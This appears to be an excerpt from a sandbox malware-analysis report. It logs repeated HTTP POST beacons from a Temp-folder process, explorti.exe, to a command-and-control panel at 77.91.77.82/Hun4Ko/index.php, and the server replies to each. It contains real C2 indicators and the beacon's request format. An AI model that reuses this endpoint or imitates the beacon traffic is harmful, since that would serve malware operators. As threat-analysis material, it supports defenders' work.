Jul 3, 2024 23:59:43.318561077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49761	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:43.453463078 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:44.164819002 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:44.165618896 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:44.389115095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49762	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:44.503108978 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:45.211936951 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:45.212811947 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:45.435019016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49763	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:45.545309067 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:46.247502089 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:46.248311043 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:46.467346907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49764	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:46.575555086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:47.299125910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:47.299855947 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:47.524893045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49765	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:47.637944937 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:48.347529888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:48.348531008 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:48.574435949 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49766	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:48.684943914 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:49.418215990 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:49.419018030 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:49.654023886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49767	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:49.763427019 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:50.472371101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:50.475177050 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:50.700155973 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49768	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:50.810261011 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:51.531758070 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:51.532614946 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:51.758207083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49769	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:51.873388052 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:52.585796118 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:52.587053061 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:52.807396889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49771	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:52.920512915 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:53.631059885 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:53.631932974 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:53.854757071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49772	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:53.966217995 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:54.667279959 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:54.668030024 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:54.886184931 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49773	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:54.997179985 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:55.720968008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:55.721741915 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:55.964828968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49774	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:56.077903986 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:56.772384882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
